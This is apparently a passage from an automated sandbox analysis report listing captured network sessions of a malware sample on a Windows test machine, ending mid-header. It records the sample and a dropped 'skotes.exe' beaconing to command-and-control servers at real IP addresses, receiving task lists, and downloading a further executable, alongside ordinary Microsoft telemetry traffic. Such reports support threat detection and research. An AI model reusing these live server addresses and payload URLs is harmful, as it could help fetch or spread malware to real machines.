Dec 6, 2024 18:46:00.583913088 CET	1236	IN	Data Raw: 9b c8 25 27 54 d8 69 a5 63 4f ce ae 13 73 c9 66 0c 63 b5 64 85 86 a2 d9 35 49 b7 6c 81 dc 8f 7e 99 ba d2 a6 63 57 ce ac dc 01 b6 64 89 80 f2 e9 d1 ce f2 e9 dd 23 80 c9 b7 15 3c 21 56 c8 19 a5 9c 07 73 24 db 33 14 10 9b c8 19 20 e2 b8 19 57 54 c0 Data Ascii: %'TicOsfcd5Il~cWd#<!Vs$3 WTqc>!V}VifVL?9!oh6L!t 3Pk'}(SA2d>[QscK=AKqk39!%39QTK>QX+?\|<!VUp)a!^58

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49875	185.215.113.206	80	6768	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:46:06.168839931 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKEC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDHJKKFBAEGDGDGCBKEC--
Dec 6, 2024 18:46:08.005661964 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50016	185.215.113.43	80	1484	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:47:06.312222958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 6, 2024 18:47:07.636398077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 17:47:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50024	185.215.113.43	80	1484	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:47:09.268359900 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 6, 2024 18:47:10.615919113 CET	768	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 17:47:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 34 31 0d 0a 20 3c 63 3e 31 30 31 32 37 31 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 62 63 37 31 32 31 39 65 39 30 32 62 63 31 65 31 64 30 33 37 37 61 31 38 39 63 36 31 64 38 62 61 35 39 61 35 35 33 36 65 36 23 31 30 31 32 37 35 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 32 37 35 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 37 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 [TRUNCATED] Data Ascii: 241 <c>1012713001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2bc71219e902bc1e1d0377a189c61d8ba59a5536e6#1012758001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1012759001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1012760001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1012761001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1012762001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50028	31.41.244.11	80	1484	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:47:10.740176916 CET	66	OUT	GET /files/6453571829/BY5BeYh.exe HTTP/1.1 Host: 31.41.244.11
Dec 6, 2024 18:47:12.064414024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 17:47:11 GMT Content-Type: application/octet-stream Content-Length: 1868288 Last-Modified: Fri, 06 Dec 2024 14:24:36 GMT Connection: keep-alive ETag: "67530924-1c8200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 aa 00 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 15 7f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbPgPJ@J@\0p 1 2@.rsrc B@.idata 0D@ *@F@qinosobo 0H@vuaywpxb@JZ@.taggant0PJ"`@
Dec 6, 2024 18:47:12.064517975 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:47:12.064687014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:47:12.064796925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:47:12.064807892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:47:12.064893007 CET	1236	IN	Data Raw: ba f4 5d ed 77 b3 2e 55 2f ac 55 f5 e8 4a 7a ca be 06 83 05 87 27 84 93 97 2f 52 9d 72 2b 55 92 0b 35 19 50 5e 3e 33 08 54 b6 d2 cd 37 ed c3 89 a4 6b 6c 0d b6 1e 6b a8 9e 79 11 93 d4 24 5d 2c 5d db d7 a2 5b ac 0c 20 76 cc 42 44 97 08 f4 e9 48 3e Data Ascii: ]w.U/UJz'/Rr+U5P^>3T7klky$],][ vBDH>,D]=iLt03[@8aQ)pI9r,x<Ac{kD*Jfy3%nnu5tS5U]^8rt~]d,WLvWHvKmhtqs Ym$e-n
Dec 6, 2024 18:47:12.064904928 CET	1236	IN	Data Raw: 89 86 a3 66 16 87 77 c0 40 a0 00 5a 11 27 a8 8d 09 5d 52 a1 5a 17 42 7b 63 46 73 91 27 ae 45 d2 98 26 c3 90 5a 40 39 15 91 2c 45 74 86 d5 0d 6a 92 4a 01 3a 17 2c bb 71 54 c9 89 91 c0 7e 1d 16 d2 7e 1c 8d 48 98 c5 f4 de 3c 2d af f0 33 20 aa de e0 Data Ascii: fw@Z']RZB{cFs'E&Z@9,EtjJ:,qT~~H<-3 #]{?Y@]QgSE:'u ;PlF+gcfeql7"'m= jnfhW-nmb0`m_N - .mUtZhJ&o
Dec 6, 2024 18:47:12.064917088 CET	1236	IN	Data Raw: 53 3c 40 47 5d e7 14 a1 9e 13 4d 14 90 48 d1 7a 21 e7 49 cc 61 6e 33 ab d0 2b d8 95 c4 a3 c2 4a 46 3c 34 6b cf eb 01 22 4a 31 a8 a7 53 ab f2 93 39 4b 40 99 ed a5 b5 08 f8 6a 45 a9 0d 31 37 fb 55 e1 95 15 cf 04 f3 52 f1 f1 6a bb 10 31 2f a0 4d 31 Data Ascii: S<@G]MHz!Ian3+JF<4k"J1S9K@jE17URj1/M1/QKIA3N]f1#NYRKD/?UfZ7W8nS#67 rqGraP[LC;Nd5kEwoM07a{,q~Cs5MY4vWBc`Iv2Ze;]`
Dec 6, 2024 18:47:12.064929962 CET	1236	IN	Data Raw: 1e 89 d6 8c e1 7a 6b 3b 3d 2e 1f 15 bc 44 49 e5 79 e6 70 87 d1 e9 b2 6a 4e a7 83 35 78 b4 3f 62 4f b5 45 b4 98 a9 13 2e 61 49 c5 9f 63 51 d0 9f 4f 07 3b 05 6f 4b ce 8d 89 5a 39 99 3c bc 85 ee af 30 32 66 bf 1c 37 bb 7f f9 64 dd c2 da ba 74 96 1b Data Ascii: zk;=.DIypjN5x?bOE.aIcQO;oKZ9<02f7dtHJUYAXpFteLhl_2SbY7AaR?8sqgzYO}F2Bn?OF&Q!VAL7Q]6_Lbdj)1tYfL7;Vaos
Dec 6, 2024 18:47:12.065102100 CET	1236	IN	Data Raw: 37 31 a0 0d 7a a9 b6 aa ca 4b db 3a ae 47 31 5c 83 93 f1 fc 0f 31 19 91 87 f0 37 de c6 4d 43 7f 94 32 f4 2e e4 42 46 72 b8 33 7d 45 22 ee dd 9f 97 21 88 7d 69 ab 06 a1 72 fe 66 00 82 a5 7d 8f 1c 78 1a fd 4d 2a b6 31 79 d3 45 84 dc a6 db a9 cb a2 Data Ascii: 71zK:G1\17MC2.BFr3}E"!}irf}xM1yE{Nz0Kt{\<kT b%-"kI(b3=r%DE2mgb1699kSc;]gAS)ZQ}120x>d\
Dec 6, 2024 18:47:12.184385061 CET	1236	IN	Data Raw: a8 08 5e 9d 32 0b ae 5c 97 b8 c1 3e da 68 54 1c 33 47 53 e7 77 f9 41 ed ca e0 9e 1f 33 01 46 3f 5b b4 ba 97 30 2c d4 84 61 b6 29 af 1e 2a 9a 51 a5 88 86 95 cf e9 dd 33 d1 fc 30 a4 8f b2 93 dc 24 30 37 97 d1 09 d3 d9 62 c7 33 b1 b7 e8 52 de 53 48 Data Ascii: ^2\>hT3GSwA3F?[0,a)*Q30$07b3RSH)0eBPvP@UT'[kmP/wqlB\:C%zKx,YVxIIIRMYNP\|)Jo?W464U:LrMOR3ga \|9

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-12-06 17:45:05 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-06 17:45:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 06 Dec 2024 17:44:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 400dd681-edbb-4f14-a471-8eb55ff90030 PPServer: PPV: 30 H: BL02EPF0001DA37 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 06 Dec 2024 17:45:05 GMT Connection: close Content-Length: 11197
2024-12-06 17:45:06 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:06 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174454Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d7af7841231249d49aff9797bf7a42f9&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617006&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617006&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZjCwozwb+rQFnFZqqHInIKXhNuoPdnvPeL9MPRANgkvOaxT5Dp9bMHyhglJvI4a6mLLG9W+X+PYuygULfZy7Yd6M3avyttRo5Fgeg0QUSTRljD3L99oDphc1APTnCAY+awt31f90JQMBo9uXBU/6ntj77Jgwwef3QZ05jvf9MPCvl9AEZ4OqfmNdodscuT2Hk67gtcpglms9lz6r3hx5y4J9RH/zx2U6KqRUixGDKD+ojDx4xihDSZF0rEKX6E2Hg9ESjQtuBclvd/6UaFYA62S3NkMDNQsZtb59zSjh1D0ryVh1v3KuYWY/mi6FNxmzI10L2ZIuEXhTR7TrVjLcDkQZgAAEJGne1SsE0ajAYOv6W7zrA+wAedCa1b5Iswlo/vyuGhI6+ZWZ3nccNdBYWEllYiKlNGtrzoIFOmKArX6/fALP3/5eZf91bxSx1S6R5uPjSV/MmVaZPJDm2Rx4sRFjNd/q0hwP3mbKeSUypuZZUnbjCMF99kL7isF2bV8f2FQvMZLWSmMW28AmQDTBtHM2c2BVZSCkIsuh5xOAjWOeVHLxodLL8nYN7bm8q9l2pIIcnhE3tRFsqr2HH/16jPBQRqZ03R5Z4uaSEaal/eWRtZlUBWP3c04G9E3FiQAXlnK/cpmBiVoMZ0fmGDrnQiTNZJ6I9bmDAwyH0UE0W+k/YeLOkKzWmEZ7jCcZZ75nWwCLc3igpQHFO2k8oxLWvdM8HZHPcDDf+uElmqK6G4OOYJRcVBG0smq+rRn3Aw5aI76vsLn3gBO5Ku4DThGVPC30vjtSC4K7FC1fb6isy8LZw9MJkhyhOUpUh5n3rmDN+m+8/bwxezBphzFX3doGJJ1y9huvkKojNXafc5MwnzZQ1lNvk7buJN2aw9XTp+/kBFiC8972Xfw4pKpyNXzNf1HAGfrmD3i0xjP1oMuDIqqlZPLlLE3O9gB&p= Cache-Control: no-cache MS-CV: aIz1vfxrP0yF0BT6.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:07 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1440 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: P7kuiUDJXmlTRmGvdQhbXh1wuxylXIqMqOyicxW/xxmP++uWZezX7aaCcJh5zxuUFf/cS4cRdr+XfXKFshJW4/vBvwgUAatVkaADDru9XvZRFRbKuezNddwU1EstU6Rcs1CeeNCCEWazC3TIjxAUj12nQZ+PTS7bHKL+VKchsBy1UFdJosy0DZRw2o5NCEiQpfWEWyX7gUOfGwpW+0ty12k5CXi2fiqpimllT+sX53LUpq4JjMZZEgCpsFNXmHoRslx77eDirK8EFooDoaOcbT1wbti7DHD2fsldofnsqH2KIm9VURXQce6cZtxFC6jKIXRaN2rlmlgcHswYPUKegQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:05 GMT Connection: close
2024-12-06 17:45:07 UTC	1440	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49710	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:07 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174454Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7f491ba43faa4c198e2bdbdc52beed95&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617006&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617006&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: 